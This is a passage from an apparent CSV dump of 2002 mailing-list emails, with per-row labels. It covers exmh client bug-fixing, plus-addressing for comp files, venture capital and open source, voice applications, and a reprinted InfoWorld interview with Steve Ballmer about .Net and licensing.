after the msg id for those messages. > > > > -the current mgs marker '+' seems to disappear after the bg flist. > > Don't really know if that matters though. They are still there on > > disk according to nmh. > > I fixed the last and least important one. > > After making flist run once a minute, I've seen the first two, but they don't > always occur. I'll keep looking. I think I found the bug that caused this. However, since I couldn't make it happen every single time, I may have just been lucky since I made my change. At any rate, the change I just made is clearly more correct than what was there before. Let me know if I'm mistaken. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-2058972181P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9OIGtK9b4h5R0IUIRAthIAJ4wtss7gIde5srJW7/X8naPwCfakgCbBQ3Z DJAuHklXX3TlR8pVjp2LWIA= =Dqvl -----END PGP SIGNATURE----- --==_Exmh_-2058972181P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 J C Lawrence ,exmh-users@spamassassin.taint.org,"Fri, 19 Jul 2002 18:51:39 -0700",Folder computed replcomps (and replgroupcomps,"Is there a relatively clean way to dynamically build comp files based on the path of the current folder? Yeah, I know exmh will pull the first comp in the path up from the current folder to the mail root, but that's not what I want. I'm starting to use plus addressing heavily as part of my SPAM controls. Specifically I each mailing list with a list-specific address. eg I would subscribe to this list as claw+exmh@kanga.nu or perhaps claw+exmh-users@kanga.nu instead of claw@kanga.nu However to do this I need a new set of comp files for each list folder. As I'm subscribed to something just over 600 lists, that's rather a pain. I really don't want to go create and maintain ~1,800 comp files (components, replcomps, replgroupcomps), especially not as I suspect I'll be changing or adapting my naming pattern a few times as I adapt various supporting tools. What would be great is if I could build the relevant comp file dynamically at runtime. That way I don't need to maintain a couple thousand comp files, I just need to make my plus addresses predictable/computable based (say) on the folder path. eg I'm currently in folder: +-Lists-/Products/Exmh-L The script would dynamically build a compfile which had a From: of claw+exmh@kanga.nu for repl, comp, etc. Similarly when in folder: +-Lists-/Linux/SVLUG-L I'd get a From: of claw+svlug@kanga.nu That way I can use lookup tables for those folders which have multiple lists being delivered into them. Any ideas how this might be done in an automatic/maintainable fashion? It would be more than good enough if all I had to do was drop a tiny FROM_HEADER file in each folder that somehow got picked up by the comp file... -- J C Lawrence ---------(*) Satan, oscillate my metallic sonatas. claw@kanga.nu He lived as a devil, eh? http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Karl Anderson ,FoRK@xent.com,19 Jul 2002 14:25:37 -0700,Re: An Engineer's View of Venture Capitalists,"""Adam L. Beberg"" writes: > > VCs don't care about the success of the venture or the jobs of those > > involved in it, they aren't ""funding innovation"" or stimulating growth > > or fueling the economy. > > Possibly replace ""own"" with ""take from you ASAP with dilution"". Their goal > is to take what you have by any means nessecary and sell it to someone else > for more then they paid within 7 years or less. That's what they do, nice > and simple. Your based-on-GPL-thing gives them no way to do that, so you are > irrelivant to the VC/investment world. Interestingly, it was the VC that convinced Zope Corp. to go opensource. -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",Karl Anderson ,"Fri, 19 Jul 2002 17:14:00 -0700 (PDT)",Re: An Engineer's View of Venture Capitalists,"On 19 Jul 2002, Karl Anderson wrote: > ""Adam L. Beberg"" writes: > > > Possibly replace ""own"" with ""take from you ASAP with dilution"". Their goal > > is to take what you have by any means nessecary and sell it to someone else > > for more then they paid within 7 years or less. That's what they do, nice > > and simple. Your based-on-GPL-thing gives them no way to do that, so you are > > irrelivant to the VC/investment world. > > Interestingly, it was the VC that convinced Zope Corp. to go opensource. But wasnt that before they realized that Open Source(TM) ment they couldnt control it? There was a time when VC love was all over Open Source(TM) as a revenue model. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 Karl Anderson ,"""Adam L. Beberg"" ",19 Jul 2002 18:01:51 -0700,Re: An Engineer's View of Venture Capitalists,"""Adam L. Beberg"" writes: > > Interestingly, it was the VC that convinced Zope Corp. to go opensource. > > But wasnt that before they realized that Open Source(TM) ment they couldnt > control it? If you're going to assume that they were stupid, why not assume that they still are stupid, and never did realize it? -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ http://xent.com/mailman/listinfo/fork",0,1 Chris Garrigues ,Anders Eriksson ,"Mon, 22 Jul 2002 12:38:32 -0500",Re: Another bug,"--==_Exmh_556486408P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Thu, 18 Jul 2002 22:29:47 +0200 > > > next report: > > Every once in a while (seems to be when i have left exmh for a while > and new messages has arrived to the folder, but who can tell?), it > picks a message and simply wont display it. The message window goes > blank and I have to click ('n' doesn't work) on another message to > get around it. The log shows: > > 22:20:48 {5395 5398-5399 5401-5435} > 22:20:48 Updating address ""szaka@sienet.hu"". > 22:20:48 Msg_Change {723890 microseconds per iteration} > 22:20:59 Msg_Pick line=5388 > 22:20:59 Mh_SequenceUpdate lists/l-k clear cur {} public > 22:21:10 **************** > 22:21:10 Mh_SequenceUpdate lists/l-k del unseen 5400 public > 22:21:10 {5395 5398-5399 5401-5436} > 22:21:10 Changing to lists/exmh ... > 22:21:10 Scan_CacheUpdate {194812 microseconds per iteration} > 22:21:10 Exmh_CheckPoint {197763 microseconds per iteration} > > > > and as far as i can tell there is a correlation between the 'clear' > vs. 'del' argument to Mh_SequenceUpdate and the hangs. I have no clue > what these arguments are but maybe someone has. I can tell you what the 'clear' and 'del' arguments mean: Mh_SequenceUpdate lists/l-k clear cur {} public This means to clear the 'cur' sequence for lists/l-k Mh_SequenceUpdate lists/l-k del unseen 5400 public This means to delete message 5400 from the 'unseen' sequence for lists/l-k Can you explain more what you were actually doing as this occurred? This doesn't appear to be background processing. Is there significance to message 5400? Is it the one that isn't displaying? Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_556486408P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9PEMYK9b4h5R0IUIRAkgqAKCG/juGj81E+/jMVknXO5QjeevG3QCeIJ4H kLuM98RHJCApLxh29vpP+lc= =q1XW -----END PGP SIGNATURE----- --==_Exmh_556486408P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,Chris Garrigues ,"Mon, 22 Jul 2002 20:15:11 +0200",Re: Another bug,"Chris said: > > I can tell you what the 'clear' and 'del' arguments mean: > > Mh_SequenceUpdate lists/l-k clear cur {} public > This means to clear the 'cur' sequence for lists/l-k > > Mh_SequenceUpdate lists/l-k del unseen 5400 public > This means to delete message 5400 from the 'unseen' sequence for lists/l-k > > Can you explain more what you were actually doing as this occurred? This > doesn't appear to be background processing. Is there significance to message > 5400? Is it the one that isn't displaying? > > Chris After sending the report I started fiddling with the Ftoc_RescanLine stuff and I havn't seen it since. I can't really tell if it was my hacking that removed it, or if it was some transitional magic happening since this was the first invocation of that version of exmh. I've backed out my stuff now, and'll let you know if it happens again. On another thing with the Ftoc_RescanLine stuff. This routine is called at times still unclar to me. An inspection of the routine suggests that it is used in the transition of a message to/form ""current"" state to re-paint the ftoc line. However, checking the msg.tcl code (MSgChange) we find: if {$msgid != {}} { # Allow null msgid from Msg_ShowWhat, which supplies line instead if {$msgid < 0} return } else { # line null too, try using first in folder if {[string length $line] == 0} { set line 1 } set msgid [Ftoc_MsgNumber [Ftoc_FindMsg $msgid $line]] } Ftoc_ClearCurrent Mh_SetCur $exmh(folder) $msgid Ftoc_ShowSequences $exmh(folder) The Ftoc_ClearCurrent calls Ftoc_RescanLIne to clear the '+' sign _before_ the on-disk transition is made. I hacked this stuff and more or less changed the order. It works, but fails on some folder changes. My feeling of this is that we really do not want to have a Ftoc_ClearCurrent, but rather just a RescanLine and the caller had better know the line or msgid. That routine shoud just put in the '+' if the line/msg in question happened to be the cur msg. Thoughts? /Anders _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Anders Eriksson ,"Mon, 22 Jul 2002 13:33:13 -0500",Re: Another bug,"--==_Exmh_692927479P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Mon, 22 Jul 2002 20:15:11 +0200 > > My feeling of this is that we really do not want to have a > Ftoc_ClearCurrent, but rather just a RescanLine and the caller had > better know the line or msgid. That routine shoud just put in the '+' > if the line/msg in question happened to be the cur msg. Thoughts? Intuitively, that sounds right to me. It does also call ""tag remove"", so you'll have to make sure that gets set correctly as well. I think any changes that make it behave more intuitively are a good thing even if they mean we have something else to fix. Of course, that attitude is why I've been fixing exmh bugs for 3 weeks. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_692927479P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9PE/pK9b4h5R0IUIRAiVOAJ0cuYMd0PbazzLvJrw1Z08LLnX1EgCgjeF5 Bf2L4R4Z71GVGMxg/RhE43E= =vE1b -----END PGP SIGNATURE----- --==_Exmh_692927479P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Brent Welch ,"Mon, 22 Jul 2002 13:55:23 -0500",Re: folders moving around in the unseen window,"--==_Exmh_724731589P Content-Type: text/plain; charset=us-ascii > From: Brent Welch > Date: Thu, 18 Jul 2002 08:13:53 -0700 > > Unfortunately, an unattributed patch may or may not be a contributed patch > as I'm not always good about recording the source of a patch. I suspect > this patch may have been contributed from someone that uses the > auto-pack or auto-sort features, which I don't use. This change should be > tested against those features. > > This whole folder scanning area is super delicate, as Chris is discovering. > I wish I had a little more time right now to wrap my head around the issues > . > It is good that another pair of eyes is looking at the code, and I hope I > left some clues in the comments about why things are being done. If we > do change things, or remove calls, we may want to leave a note that says > > # Used to be a Scan_Folder call here, but it was removed for the > # following reason... Unfortunately, there are few comments in this part of the code. I haven't been helping that situation much, although there are some comments in the new sequence stuff that I wrote. I have cleaned up a bit of code so that it's a little more clear what it's doing and a little less delicate. I also gratuitously renamed some variables for clarity. My last few bug fixes were purely problems that I created in my own patches and I can't blame anyone but myself. As I'm avoiding real work, I may clean up a little bit more (and probably break a few things as well ;-). Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_724731589P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9PFUbK9b4h5R0IUIRAk/OAJ90HUYnMoAhyeIUTuHB7FnwZxl/LQCeIHH7 A+FDAIyH8bUPCObpEiimZMg= =8FKS -----END PGP SIGNATURE----- --==_Exmh_724731589P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,"Anders Eriksson , exmh-workers@spamassassin.taint.org","Mon, 22 Jul 2002 16:32:50 -0500",Re: Another bug,"--==_Exmh_834464772P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Mon, 22 Jul 2002 13:33:13 -0500 > > > From: Anders Eriksson > > Date: Mon, 22 Jul 2002 20:15:11 +0200 > > > > My feeling of this is that we really do not want to have a > > Ftoc_ClearCurrent, but rather just a RescanLine and the caller had > > better know the line or msgid. That routine shoud just put in the '+' > > if the line/msg in question happened to be the cur msg. Thoughts? > > Intuitively, that sounds right to me. It does also call ""tag remove"", so > you'll have to make sure that gets set correctly as well. > > I think any changes that make it behave more intuitively are a good thing even > if they mean we have something else to fix. Of course, that attitude is why > I've been fixing exmh bugs for 3 weeks. I just checked in a code cleanup which doesn't address this issue, but does take a machete to code right around it. You ought to 'cvs update' and see if your issue becomes any clearer with all the brush removed. My patch notes that 'msgid' and 'line' are redundant with one another and removes one or the other from functions which takes both. The callers are then changed to pass what the function expects. In the case of Msg_Change, the 'line' argument is removed and we only have the msgid argument. Ftoc_ClearCurrent is now the first line of MsgChange. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_834464772P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9PHoCK9b4h5R0IUIRAl9kAJ9C/pnFLKlVYbRToLtffnXa+ffZJwCfahTx BE9ZJXQ6LnbKyCuhuS3IJBg= =aAkz -----END PGP SIGNATURE----- --==_Exmh_834464772P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,Chris Garrigues ,"Tue, 23 Jul 2002 02:20:35 +0200",Re: Another bug,"> > > My feeling of this is that we really do not want to have a > > > Ftoc_ClearCurrent, but rather just a RescanLine and the caller had > > > better know the line or msgid. That routine shoud just put in the '+' > > > if the line/msg in question happened to be the cur msg. Thoughts? > > > > Intuitively, that sounds right to me. It does also call ""tag remove"", so > > you'll have to make sure that gets set correctly as well. > > > > I think any changes that make it behave more intuitively are a good thing even > > if they mean we have something else to fix. Of course, that attitude is why > > I've been fixing exmh bugs for 3 weeks. > I have a version that's working now. I'll try it a couple of days and check it during daylight. Basically I added an agument to ClearCurrent and updated all callers to slap in $ftoc(curLine). I also flipped the order in Msg_Change to ClearCurrent $prevline after the Mh_SetCur. For some reason it barfs when Marking many messages Unread. I'll check that tomorrow. G'night. /Anders _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Ian Andrew Bell ,"""Mr. FoRK"" ","Mon, 22 Jul 2002 10:02:58 -0700",Re: voice applications - how does joe-sixpack build one?,"Look at my friend Jonathan's company, VOXEO. Unless you're going to run out and build a platform that executes Voice XML code and can support IMAP etc. then the easiest way to do this is to leverage VOXEO's service. You can start building on it for free and you will pay > $0.10 per minute for the pleasure of using/testing the service. http://www.voxeo.com If you have about $50K to throw at the project then you can look at NUANCE, which has a platform that combines VoiceXML/VXML, Speech Reco, and the L&H speech synthesize, which will allow you to have your email read to you by Stephen Hawking. TellMe & BeVocal have off-the-shelf services that do this, though, but from my testing, they suck. If I were to build this I'd spec a lightweight IMAP client and VoiceXML browser and dump them on VOXEO. However, you'll find this to be extremely slow and frustrating. Better to us a screen phone with a WAP client. -Ian. On Wednesday, July 17, 2002, at 09:53 PM, Mr. FoRK wrote: > I was talking to a friend today about voice applications - using a > phone to > get mail or info (other things are possible, but that's what we talked > about). > He's running a mail server called X-Mail (or something) and it has > a Web UI > written with some PHP pages. I made the comment that rending an inbox > listing with VoxML (or whatever the latest thing is) would be > trivial & with > a little playing around you could do a simple voice app to > monitor & admin > the mail server, or you could actually get/send mail this way. > > The hard part is hooking up to the phone system - how do I get a > phone to > hit a 'voice app server' that hits the HTTP+VOX enabled mail server? > He'd want to give this back as open source, but there is no > corresponding > open source voice server - or is there? > > I've looked at BeVocal - it seems that Talk2 is toast - does > anybody know > how else this could be done? > > I'd love to see a digital answering machine with some speech > recognition > built-in that would proxy into a personal computer for contact > lists & mail > & whatnot. I could call /my/ home phone and bounce out to the web or do > whatever, without needing a publicly available voice server. > > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 adam@xent.com (Adam Rifkin),FoRK@xent.com,"Mon, 22 Jul 2002 21:51:44 -0700 (PDT)",[Infoworld] Ballmer describes what a Chief Software Architect does,"Rohit was wondering what Microsoft's definition of a Chief Software Architect is (and, consequently, what Microsoft thinks is a roadmap). Here you go, from Mr. Ballmer to Mr. Gillmor to Mr. FoRK... Architecture is war; love 'em or hate 'em, at least Microsoft understands that: as Chief SA, BillG oversees all product strategy. ""There are two things a road map can be. One is just a piece of paper that tells what everyone is doing and records a bunch of bottom-up plans. Or it can be something where we impose more broadly our vision from the top. We are not going to try to get everything shared. ... That's a path for getting everything stopped up. But at the same time we are trying to take the top four or five things we are trying to do in the Longhorn wave, Yukon wave, or the .Net wave and really have enough time to have some cross-cutting discussions about how we make that happen."" ""Bill [Gates] is dedicated full-time to being chief software architect. He also happens to be chairman of the company, but he spends most of his time being chief software architect. We have a body now that meets every month -- the SLTT [Senior Leadership Technical Team], basically the top people involved in the product-creating strategy -- and we present and discuss the issues. Bill is driving a process for each of these waves. For instance, [he will ask] what are the cross-cutting scenarios that I want, and then [he will] get all the right product groups together and bring these things in front of the SLTT."" ""People talk about what it takes to be a good manager, and people talk about being a good coach and getting people to like you. In a large organization those things are important, but at a certain level, ... the most important thing you can do for your people to make them better is to give them a framework where they can work in harmony with the other people in the company. And from Bill's perspective, [this framework] is the technical road map and the SLTT process; it is the scenarios. From my perspective, it is the P&L [profit and loss] structure and the multiple businesses because, given how we work, giving people a framework that gets them to make the whole bigger than the sum of the parts will mean we have better offerings."" http://www.infoworld.com/articles/pl/xml/02/07/22/020722plballmer.xml Ballmer in charge July 18, 2002 1:01 pm PT NO ONE KNOWS better than Microsoft CEO Steve Ballmer that, as the .Net platform evolves, the success of Microsoft depends on how well the company coordinates its tool, server, and client strategies and how well it communicates that vision. In an interview with InfoWorld Test Center Director Steve Gillmor and InfoWorld Editor at Large Ed Scannell at Microsoft Fusion 2002, Ballmer discussed the progress of .Net, changes in the company's approach to product development, and Microsoft's efforts to simplify product licensing and inspire trust in customers and partners. > Last time we talked was two years ago, at the beginning of the .Net > era. So where are we now in the .Net evolution? Let me start by talking about where I think we are in the XML revolution first, and then [I will] talk about where we are with .Net. I believe that the IT industry collectively decided over the last three or four years that the world was going to be replatformed with XML as the key foundation. It's not like anyone ever got together to decide this, but it's like magnetic north, where it's been clearly indicated that everyone is rallying around the concept. But I think the degree to which [XML] is pervasive might still be underestimated. A lot of partners, even at this conference, see it as b-to-b for big companies. But it is really about the way software in general is designed. It is all about the way security should work. Management -- everything is changed. So to answer your direct question, two years ago I might have said the jury is still out about whether [XML] was going to happen. We were questioning if it was going to be a legitimate competitor to Java. But now the world has decided to embrace [XML] as the basis for the next generation of technology. And there are a lot of benefits that come with it. Could it have been something other than XML? Sure it could have. It wasn't the specific technical implementation; it is merely the fact that it comes out of Internet standards. It has deeper semantic abilities. It is all about interoperability and connection. So in that context, where are we with .Net? I'll say a couple things. No. 1, I would say we have some momentum in the market. We have customers using the .Net product line, like Merrill [Lynch], Credit Suisse, Marks & Spencer, CitiBank, and a variety of others. People who are doing some things for real. I feel like the degree we are out front is in some ways smaller and in some ways larger. > How so? Smaller in the sense that everyone is talking the XML talk, even Sun; bigger in the execution sense: We've delivered. We delivered the first batch of products that really were built XML to the core -- Visual Studio .Net and BizTalk Server -- and we are getting traction. So I feel good about where our execution is relative to everyone else. That is not to say that other people aren't doing some reasonable bolt-on XML support for the stuff they have. > You have some heavy lifting to do to convince your customers and > partners to follow along. What do you have to do to set the standard > for adoption and upgrading to this next generation? We have to present the picture that we are behaving consistently within the framework of focusing on customer issues and customer satisfaction and trustworthy computing, which we have articulated. Now there are some things I would have done differently, in 20-20 hindsight. I would have increased the focus on not just security but deployment, because a lot of the security problems are actually deployment problems. We have the fix, but sometimes we can't get the tools in their hands to deploy those fixes fast enough. Licensing -- I know I would have given more time, and there are better ways to plan around the kinds of changes we made. We are still going to have to get smart about the full ramifications. > Do you expect any changes to be made between now and July 31 to > Licensing 6.0? There is a lot of push-back on this. No, there is nothing that will happen between now and July 31. And we will continue to learn over time what we need to do to earn our customers' trust and earn their business. I think many of the people who are pushing back really don't even know the new terms. > Isn't that your fault for not educating them? Yes, it is our fault. But you meet with plenty of customers whose companies already have licenses, and they are saying, 'I think there's a problem.' I don't deny there are some problems. I am sure there are some issues we will have to work on over time. After July 31 we are going to see what the real issues are. I was talking to a customer at the show who was saying he thought there would be a problem, and I told him that we just completed a deal with his company and that he is now universally licensed and that total costs to his company are now lower than they were before. And he said, 'Oh really?' So we'll go through July 31. We have a lot of customers who have signed licenses, and I am sure we are going to find some issues. My bigger concerns today are probably not in the larger accounts, but there may be some issues we need to address among the smaller-size companies, and we will. > How does the .Net initiative change the way in-house client and server > developers work together? What we are trying to do for the health of .Net and the health of the company and the sanity of the people who work there and the quality of the products we produce is to have a more orchestrated, ber-road map of where we are going. Now there are two things a road map can be. One is just a piece of paper that tells what everyone is doing and records a bunch of bottom-up plans. Or it can be something where we impose more broadly our vision from the top. We are not going to try to get everything shared. ... That's a path for getting everything stopped up. But at the same time we are trying to take the top four or five things we are trying to do in the Longhorn wave, Yukon wave, or the .Net wave and really have enough time to have some cross-cutting discussions about how we make that happen. Bill [Gates] is dedicated full-time to being chief software architect. He also happens to be chairman of the company, but he spends most of his time being chief software architect. We have a body now that meets every month -- the SLTT [Senior Leadership Technical Team], basically the top people involved in the product-creating strategy -- and we present and discuss the issues. Bill is driving a process for each of these waves. For instance, [he will ask] what are the cross-cutting scenarios that I want, and then [he will] get all the right product groups together and bring these things in front of the SLTT. People talk about what it takes to be a good manager, and people talk about being a good coach and getting people to like you. In a large organization those things are important, but at a certain level, ... the most important thing you can do for your people to make them better is to give them a framework where they can work in harmony with the other people in the company. And from Bill's perspective, [this framework] is the technical road map and the SLTT process; it is the scenarios. From my perspective, it is the P&L [profit and loss] structure and the multiple businesses because, given how we work, giving people a framework that gets them to make the whole bigger than the sum of the parts will mean we have better offerings. > It seems the scenarios construct is really working for you. Is this an > evolution of the solutions approach? I would say it is a pretty direct extrapolation from the solutions stuff, only I think we are just getting a little more experience. I think we use the word scenarios more often and solutions less, because solution sounds more like a fixed thing. At the end of the day, most of the things we do are customizable and programmable, and so people make them into the solution they want. But they are still scenarios. What will software deployment look like? Well, that is a scenario because it involves Windows, Office, and other applications. We are working hard to make sure the whole is bigger than the sum of the parts. That's not to say people are always comfortable with this. I can't even say we will do it perfectly. All we have to do is do it a lot better than we had been doing it. I think that would be a big step forward for the customers. > Will this approach cut down on some of the technology civil wars > Microsoft has had in the past involving who is going to gain control of > a project? This seems to be a very democratic approach to development. I would not use the word democracy to describe it. People have to come together and ultimately make some decisions. This is not a voting process here, the agenda of what we think is important. We get a lot of input. [But] once it is decided, people don't get to vote with their feet. We try to make a quantum leap here in terms of our ability to improve pulling together all the pieces. Our customers want us to do that. Simplifying concepts by unifying them. The customers don't say they want us to do that, but when we do do that, they go, 'Ahhh, I get it. That makes sense.' I don't want to go to six more meetings where people say, 'Is your workflow strategy BizTalk?' ... Or 'What's your Office workflow strategy?' Or 'Why is synchronization in some ways better for e-mail and Outlook than it is for file folders and Web pages?' To get that sort of synchronization sometimes -- to get that high-level road map to work -- you have to build something we don't have today. So we have been talking about unifying storage. And so the best way to get all this stuff to work is to get them all to work just one way. Then you just keep tuning one set of parameters instead of having a thousand flowers blooming. > In your Fusion keynote today, you talked about who your competitors > are, and it was the usual suspects. But one you didn't mention is > yourself. You are competing against the last generation of your technology. Always. Given that our stuff doesn't wear out or break down -- you can question whether it breaks or not [Ballmer grins] -- but it doesn't break down like machinery does. To get anyone to do something new, we have to have something interesting and innovative. People think, OK, should we just do more upgrades or try to sell more new product? We decided that users like us to do a level of systems integration so they don't have to get involved in that. So take Sharepoint Team Services, which we put in Office. We could have sold Team Services as a separate product, and we could have introduced a new SKU [stock keeping unit]. We could have decided if it should work down level with the old Office or just the new version of Office, and we could do that with real-time communications. But we tend to like to put things together, integrate them, and then release batches?1202?-- which are then 'upgrades' -- as a form of introducing our new innovation. But no matter how you do it, because our stuff does not wear out, we have to convince people that some idea we have is better or more powerful than the older idea we had. And there are two aspects of doing that. One aspect is, on a given product or upgrade release, does that make sense? Or do we convince you that over an nyear period of time we will have enough innovation that you will want to be licensed for that innovation. And this is part of this whole licensing discussion we are having. We moved to the new licensing for two reasons, I would say. No. 1, we wanted to simplify our licensing. When we look back a year from now, I guarantee you that where we are now is simpler than where we were. Nothing is simpler during a transition because they are learning the new and are more familiar with the old, but I think people will eventually realize this is simpler. Our licensing got pretty complicated over the years, and some people came to not understand it all. The other issue is [the timing of delivering] our innovation. I don't want to have a lot of rough questions [from customers]. So when we do have new ideas, it's like, OK, should we put it in this upgrade or that one or just have a stream of stuff that only our best customers have access to under the terms of their contract? I think in the long run we have a better chance of satisfying them with the latter than with hitting them with six different upgrades. I am a fan of [letting] the customer decide, OK, I want that piece or this piece. But they are licensed for all of it. So those are the two things we sought to do. > That gets back to the trust issue, where if you front-load it, that's > the big, lumpy upgrade; and if you back-load it with the vision, the > .Net 2003 servers, you have a long gap in the middle where you have to > sell into an untrusting audience. The truth is, we need to be better at both. There are some things you can only do big and lumpy, like a new file system. It's not like some sort of small user feature; if you change the file system, then the storage, the backup, probaby those things are going to change. Probably the shell ought to change.The applications ... a lot of things are going to change. Can you call that lumpy? Or you can put out four new features in PowerPoint, sure -- that would not look lumpy to users. I think we have to build trust in the model, and we are going to have to deliver more over time. It will not come overnight. People will have to see that we do a few things, ... that not all of our innovation is lumpy, that more of it comes evenly and steadily. People develop a confidence and faith; they like both aspects of the model. Over time, our support needs to become more intimately involved in that story. We know that, but we don't know exactly what that means yet. And this whole notion of software as a service -- this is not a licensing or business discussion. It's how does software get rearchitected in the world of the Internet? I mean, how many software products are fundamentally different because of the Internet? Not many. Probably the anti-virus guys keep up the best. They are always feeding new virus support in. I asked the audience [at Fusion] how many use Windows Update. Now that's a small piece of software, but it is big. That's the consumer market; we've got to get that to really purr in the corporate market. > The lack of broadband build-out and adoption seems to be holding up > the ability for users to take advantage of some new services you're > talking about. When Bill [Gates] invested in Comcast cable, it > triggered the Baby Bells to get on board with DSL. What are you doing > now to deal with that issue? The No. 1 thing is, we have to make software that is so compelling that people will start saying, 'Well, of course I am going to get broadband.' > And 802.11 is one of those compelling features? Yes, it is. I was in a hotel in Sun Valley, [Utah], this week that was not wired. So I turned on my PC, and XP tells me there is a wireless network available. So I connect to something called Mountaineer. Well, I don't know what that is. But I have a VPN into Microsoft; it worked. I don't know whose broadband I used. I didn't see it in Bill's room. I called him up and said, 'Hey, come over to my room.' So soon everyone is there and connecting to the Internet through my room. We have to support all the modalities, whether it is GPRS [General Packet Radio Service] or 802.11. We have to make it easy to provision from a software perspective for things that go on with DSL [and] cable modems. ... And the software has to want a broadband link. There are not many things you do where you say I really care about the performance. If I am downloading PowerPoint files, then I want broadband. So when you can do things with speed that you otherwise can't do without speed, that is going to put a lot of pressure on the broadband community. That's the weird answer. The more normal answer is, yeah, isn't it awful: There is not enough broadband, and the prices they charge ... . I agree with all that. If you look at what happened in Japan recently, there was a big drop -- it is now $25 a month for DSL. Vroom. They have gone from almost no DSL connections a year ago to 1.5 [million] or 1.8 million [subscribers]. > So how do we make that happen in this country? I think that is beyond us. If there is enough interest where the consumers are looking intensely for broadband, whether it is at today's prices or tomorrow's prices, that is going to shake out the marketplace. And I think the marketplace will do a good job. We just have to make it something obvious that consumers want. Now I happen to live in a neigborhood where there is no broadband network. No DSL or cable modems. Well, I have a neighbor, [Teledesic chairman and co-CEO] Craig McCaw, who has a wireless network that I think I can piggyback off of [Ballmer laughs]. So, yes, broadband is a bottleneck -- but I also think we have to look at oursleves as a software industry and say, 'Aren't we, too, some of that bottleneck?' We have not built software that makes broadband a must-have. > Microsoft CEO weighs in > > Ballmer addresses a number of key issues for customers and partners. > > On security and trust: ""There are some things I would have done > differently."" > > On coordinating product groups: ""We are working hard to make sure > the whole is bigger than the sum of the parts."" > > On product licensing: ""We are still going to have to get smart > about the full ramifications."" ---- aDaM@XeNT.CoM -- long .sig alert! I believe it is quite possible to productively apply both supposedly incompatible approaches [REST & SOAP] together. I'll sketch it out below, both in prescriptive form. Note: while this is proscriptive, it is expected that local adaptations will be provided. 1. Start by modeling the persistent resources that you wish to expose. By persistent resources, I am referring to entities that have a typical life expectancy of days or greater. Ensure that each instance has a unique URL. When possible, assign meaningful names to resources. 2. Whenever possible, provide a default XML representation for each representation. Unlike traditional object oriented programming languages where there is a unique getter per property, typically there will be a single representation of the entire instance. These representations will often contain XLinks (a.k.a. pointers or references) to other instances. 3. Now add high level methods which take care of all composite create, update, and delete operations. A key aspect of the design is that messages for these operations need to be self contained - both the sender and receiver should be able to make the absolute minimum of assumptions as to the other's state, and multiple requests should not be required to implement a single logical operation. All requests should provide the appearance of being executed atomically. 4. Query operations deserve special consideration. A general purpose XML syntax should be provided in every case. In addition, when a reasonable expectation exists that query parameters will be of a relatively short size and not require significant encoding, then a HTTP GET with the parameters encoded as a query string should also be provided. Implications The following table emphasizes how this unified approach differs from the ""pure"" (albeit hypothetical) different positions described above. 1. Resource -- POST operations explicitly have the possibility of modifying multiple resources. PUT and DELETE operations are rarely used, if ever. GETs may contain query arguments. 2. Get -- GETs must never be 